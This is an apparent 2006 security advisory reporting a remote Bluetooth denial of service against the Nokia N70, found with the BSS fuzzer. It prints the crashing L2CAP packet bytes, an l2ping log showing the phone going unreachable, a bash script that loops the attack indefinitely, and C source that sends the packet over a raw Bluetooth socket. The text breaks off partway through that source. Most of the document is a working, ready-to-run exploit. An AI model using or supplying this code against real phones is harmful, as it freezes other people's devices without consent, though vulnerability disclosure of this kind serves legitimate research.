Another kind of DoS on Nokia cell phones [Software affected] Bluetooth Stack on Nokia cell phones [Version] Nokia N70 and maybe other models [Impact] Remote Denial of Service, cellular phones begin to be slower and then freeze after a short period (within 30 seconds). [Credits] Pierre Betouin - pierre.betouin@xxxxxxxxxxxx - Bug found with BSS new release v0.8 GPL fuzzer (Bluetooh Stack Smasher - Linux) BSS could be downloaded on http://www.secuobs.com/news/15022006-bss_0_8.shtml [Vendor] notified now [Original advisory] http://www.secuobs.com/news/15022006-nokia_n70.shtml#english http://www.secuobs.com/news/15022006-nokia_n70.shtml#french [Concept] L2CAP packets responsible of the crash are : 7D AF 00 00 41 41 41 Where: Code field 0x7D (1 byte) Ident field 0xAF (1 byte) Length field 0x0000 (2 bytes) 0x41 bytes are random padding. [Proof of Concept] # l2ping -c 3 00:15:A0:XX:XX:XX Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 44) ... 0 bytes from 00:15:A0:XX:XX:XX id 0 time 64.18ms 0 bytes from 00:15:A0:XX:XX:XX id 1 time 43.94ms 0 bytes from 00:15:A0:XX:XX:XX id 2 time 37.25ms 3 sent, 3 received, 0% loss # ./loop.sh 00:15:A0:XX:XX:XX (.. snip ..) # l2ping -c 1 00:15:A0:XX:XX:XX Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 248) ... no response from 00:15:A0:XX:XX:XX id 0 1 sent, 0 received, 100% loss [replay_l2cap_packet_nokiaN70.c] could be downloaded on http://www.secuobs.com/replay_l2cap_packet_nokiaN70.c [Loop.sh] as follows : #!/bin/bash # Another Nokia N70 Bluetooth remote Denial of Service # Pierre BETOUIN pierre.betouin@xxxxxxxxxxxx # Feb 14 11:21:58 GMT+1 2006 echo "Another Nokia N70 Bluetooth remote Denial of Service" echo "Pierre BETOUIN pierre.betouin@xxxxxxxxxxxx" echo "" if (( $# < 1 )); then echo "Usage: $0 (uses replay_l2cap_packet_nokiaN70)" exit fi if [ -x ./replay_l2cap_packet_nokiaN70 ]; then echo "Kill this prog with \"killall -9 loop.sh\" in another terminal." echo "PRESS ENTER TO LAUNCH THE DoS (or Ctrl-c to exit now)" echo "" read while (( 1 )); do # Infinite loop, a bit dirty, we must say ;) ./replay_l2cap_packet_nokiaN70 $1 done else echo "You must compile replay_l2cap_packet_nokiaN70 before" echo "gcc -lbluetooth -o replay_l2cap_packet_nokiaN70 replay_l2cap_packet_nokiaN70.c" exit fi # cut here ------------------------------------------------------- # replay_l2cap_packet_nokiaN70.c /* This is a TEMPLATE used by bss, if you change this all replays will be generated with this code */ /* BSS Replay packet template */ /* Pierre BETOUIN */ /* Ollie Whitehouse < ol at uncon dot org */ /* Copyright (C) 2006 Pierre BETOUIN * * Written 2006 by Pierre BETOUIN * Download on http://www.secuobs.com/replay_l2cap_packet_nokiaN70.c * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation; * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY * RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S) AND AUTHOR(S) BE LIABLE * FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY * DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN * AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * ALL LIABILITY, INCLUDING LIABILITY FOR INFRINGEMENT OF ANY PATENTS, * COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS, RELATING TO USE OF THIS SOFTWARE * IS DISCLAIMED. */ #include #include #include #include #include #include #include #include #include "../l2ping.h" #define SIZE 7 char *replay_buggy_packet="\x7D\xAF\x00\x00\x41\x41\x41"; int main(int argc, char **argv) { struct sockaddr_l2 addr; int sock, sent, i; if(argc < 2) { fprintf(stderr, "[!] Usage: %s \n", argv[0]); exit(EXIT_FAILURE); } if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("[!] Couldn't create socket"); exit(EXIT_FAILURE); } memset(&addr, 0, sizeof(addr)); addr.l2_family = AF_BLUETOOTH; if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { perror("[!] Couldn't bind"); exit(EXIT_FAILURE); } str2ba(argv[1], &addr.l2_bdaddr); if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { perror("[!] Couldn't connect"); exit(EXIT_FAILURE); } if( (sent=send(sock, replay_buggy_packet, SIZE, 0)) >= 0) { printf("[*] L2CAP packet sent (%d) bytes\n", sent); } if(!l2ping(argv[1],0,0)){ fprintf(stdout, "[!] replay: l2ping returned that the host is down!\n"); }else{ fprintf(stdout, "[*] replay: l2ping returned that the host is up!\n"); } printf("[i] Buffer:\t"); for(i=0; i